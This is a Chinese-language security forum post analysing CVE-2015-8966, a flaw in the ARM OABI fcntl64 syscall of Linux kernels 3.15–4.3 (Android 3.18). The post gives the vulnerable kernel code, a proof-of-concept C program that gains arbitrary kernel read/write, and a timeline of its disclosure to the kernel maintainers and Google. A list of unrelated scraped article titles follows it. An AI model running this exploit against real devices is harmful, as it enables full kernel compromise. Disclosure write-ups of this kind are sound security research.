标 题: 【原创】CVE-2015-8966/AndroidID-31435731
作 者: ThomasKing
时 间: 2016-12-13,23:23:02
链 接: http://bbs.pediy.com/showthread.php?t=214585

## 0x0 前言
这个漏洞大概是在去年11月中旬无意在内核源码中发现的,原理十分简单(看起来非常像一个后门...)

## 0x1 分析
漏洞存在于arm平台legacy syscall fcntl64:

asmlinkage long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd,
         unsigned long arg){
  
  struct oabi_flock64 user;
  struct flock64 kernel;
  mm_segment_t fs = USER_DS; /* initialized to kill a warning */
  unsigned long local_arg = arg;
  int ret;

switch (cmd) {
  case F_OFD_GETLK:
  case F_OFD_SETLK:
  case F_OFD_SETLKW:
  case F_GETLK64:
  case F_SETLK64:
  case F_SETLKW64:
    if (copy_from_user(&user, (struct oabi_flock64 __user *)arg,
           sizeof(user)))
      return -EFAULT;
    kernel.l_type  = user.l_type;
    kernel.l_whence  = user.l_whence;
    kernel.l_start  = user.l_start;
    kernel.l_len  = user.l_len;
    kernel.l_pid  = user.l_pid;
    local_arg = (unsigned long)&kernel;
    fs = get_fs();
    set_fs(KERNEL_DS);          //[1]
  }

ret = sys_fcntl64(fd, cmd, local_arg);

switch (cmd) {
  case F_GETLK64:
    if (!ret) {
      ...
    }
  case F_SETLK64:
  case F_SETLKW64:
    set_fs(fs);     //[2]
  }
  return ret;
  
这个syscall的设计是:

1. 准备参数,设置当前进程为addr_limit: KERNEL_DS
2. 调用真正实现的函数sys_fcntl64
3. 返回结果,恢复当前进程的addr_limit: USER_DS

在[1]部分,将当前进程addr_limit设置为KERNEL_DS,该标示能够让进程获得内核的任意读写权限。
在[2]部分恢复时,只有某些command类型才恢复addr_limit。

## 0x2 利用
之所以说看起来像后门,是因为一行ioctl代码就能获取任意内核读写权限。
获取任意内核读写权限poc:

__attribute__((naked)) long sys_oabi_fcntl64(unsigned int fd, unsigned int cmd, unsigned long arg){
    __asm __volatile (
    "swi  0x9000DD\n"
    "mov  pc, lr\n"
    :   
    :
    :
  );
  }

#define F_OFD_GETLK  36
  #define F_OFD_SETLK  37
  #define F_OFD_SETLKW 38

int main(int argc, char const *argv[]){
    int fd = open("/proc/cpuinfo", O_RDONLY);
    struct flock *map_base = 0;

if(fd == -1){
      perror("open");
      return -1;
    }
    map_base = (struct flock *)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if(map_base == (void*)-1){
      perror("mmap");
      goto _done;
    }
    printf("map_base %p\n", map_base);
    memset(map_base, 0, 0x1000);
    map_base->l_start = SEEK_SET;
    if(sys_oabi_fcntl64(fd, F_OFD_GETLK, (long)map_base)){
      perror("sys_oabi_fcntl64");
    }
    // Arbitrary kernel read/write test
    if(try_to_read_kernel()){
      printf("pwnned !\n");
    }
    munmap(map_base, 0x1000);
  _done:
    close(fd);
    return 0;
  }
  
## 0x3 结尾
这个漏洞影响内核版本:3.15-4.3,安卓平台影响3.18。
现阶段支持oabi的设备越来越少,虽然这个漏洞看起来很不错,但实际能用的地方并不多,这也是我提交的原因之一。
Btw,这个CVE-2015-8966我并不知道怎么来的,google给的issue是:AndroidID-31435731。

## 0x4 Timeline
2016.09.10 提交给Kernel Security
2016.09.15 Kernel确认影响内核版本,将在下一轮的稳定内核版本中修复
---------------------------------------------------------
2016.09.10 在goldfish 3.18验证后提交给google
2016.09.12 谷歌反馈,设置Critical
2016.10.04 谷歌确认不影响当前任何谷歌设备
2016.12.05 Android Security Bulletin - December 2016 
CVE-2015-8966.pdf

CVE-2015-8966/AndroidID-31435731相关推荐

  1. linux ssh权限漏洞,OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325)

    OpenSSH do_setup_env函数权限提升漏洞(CVE-2015-8325) 发布日期:2016-05-02 更新日期:2016-05-04 受影响系统:OpenSSH OpenSSH &l ...

  2. 删除oracle补丁包,最新Oracle关键补丁:更新包括248个修复

    最新的Oracle 关键补丁更新是迄今为止最大的,包含248个修复,共覆盖24个产品线. Oracle关键补丁更新程序已经持续了11年,每年发布四次补丁.安全补丁覆盖24个不同的产品线,包括但不限于O ...

  3. 103.网络安全渗透测试—[权限提升篇1]—[Linux内核漏洞提权]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.LINUX 内核漏洞提权 1.漏洞背景: 2.漏洞利用: (1)实验环境 (2)靶机链接 (3)突破MIME ...

  4. billu_b0x靶场通关

    billu靶场通关 靶机ip:192.168.112.134 信息收集 端口开放 80 目录扫描 images目录存在目录遍历 test.php(任意文件下载) add.php(文件上传) index ...

  5. 工控系统的全球安全现状:全球漏洞实例分析

    工控系统的全球安全现状:全球漏洞实例分析 一.摘要 ​ 运营技术(OT).网络和设备,即工业环境中使用的所有组件,在设计时并未考虑到安全性.效率和易用性是最重要的设计特征,然而,由于工业的数字化,越来 ...

  6. vulhub打靶第一周

    title: vulhub打靶第一周 description: vulhub打靶第一周 难度:middle date: 2023-06-01 categories: [渗透,靶机] 图片链接有问题访问 ...

  7. vulnhub potato

    vulnhub potato(难度:简单) 知识点 一 信息收集 二 从7120端口突破 三 爆破 linux内核提权 知识点 一 nmap的使用 二 SSH爆破 三 漏洞库的利用 四 LINUX内核 ...

  8. 靶机系列-----medium_socnet

    ​声明 请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关. 靶机地址: https://www.vulnhub.com/entry/boredhackerblog-soci ...

  9. 阿里巴巴发布《2015移动安全漏洞年报》

    2019独角兽企业重金招聘Python工程师标准>>> 第一章 2015年应用漏洞 1.1 业界公开的应用漏洞类型和分布 2015是不平凡的一年,各界媒体对移动应用的漏洞关注度也越来 ...

  10. Xamarin Andro教程搭建Xamarin Androidid开发环境(一)

    Xamarin Andro教程搭建Xamarin Androidid开发环境(一) "工欲善其事,必先利其器".对于程序员来说,编程的环境就是其手中的利器.如果没有一个合适方便的编 ...

最新文章

  1. bitset类型, 标准库类型
  2. 35岁老码农:老板,你看我还有机会吗?
  3. 创建型设计模式 之 单例模式
  4. Python线程同步机制: Locks, RLocks, Semaphores, Condition
  5. mingw w64 v8.0.0_使用Visual Studio Code和MinGW编译运行C++代码
  6. Python中的eval,exec以及其相关函数
  7. 走进武汉,解密多媒体开发新场景、新实践(内附资料下载)
  8. mysql 优化之 is null ,is not null 索引使用测试
  9. deviceiocontrol buffered 返回不了_这3种减肥法是无用功,累死累活也瘦不了
  10. @Inject.@Resource.@Autowired 的区别
  11. hbase占用内存过高_为什么不建议在 HBase 中使用过多的列族
  12. java八股文第一章:Java 基础知识
  13. 拯救强迫症:Win11去除桌面快捷方式小箭头
  14. 入侵检测系统(IDS)与入侵防御系统(IPS)的简单理解
  15. 最长不含重复字符的字符串
  16. 寒武纪重磅发布首款AI云芯片,陈天石要让端云结合占领10亿智能终端!
  17. 树莓派 电脑通过界面远程控制
  18. HTML—— 超链接 行内框架 表格 知识总结。
  19. 函数 单片机glint_单片机数字化资源库
  20. Java+spring 基于ssm的美食网站设计与实现#毕业设计

热门文章

  1. 九度题库(所有题目整理,适合计算机考研和面试的人用)
  2. SharePoint:扩展DVWP - 第21部分:实现可维护的三级联动下拉框
  3. 语音幅度统计-matlab-有问题
  4. Android自定义控件(特效一) 点击屏幕,根据所点击的位置绘制圆环
  5. android外置传感器,Android中外接键盘的检测的实现
  6. [云炬创业基础笔记]第五章创业机会评估测试8
  7. 云炬随笔20171213
  8. 一文详解神经网络模型
  9. 怎么在linux上装java,如何在Ubuntu Linux上安装Java
  10. 关于onreadystatechange属性(转)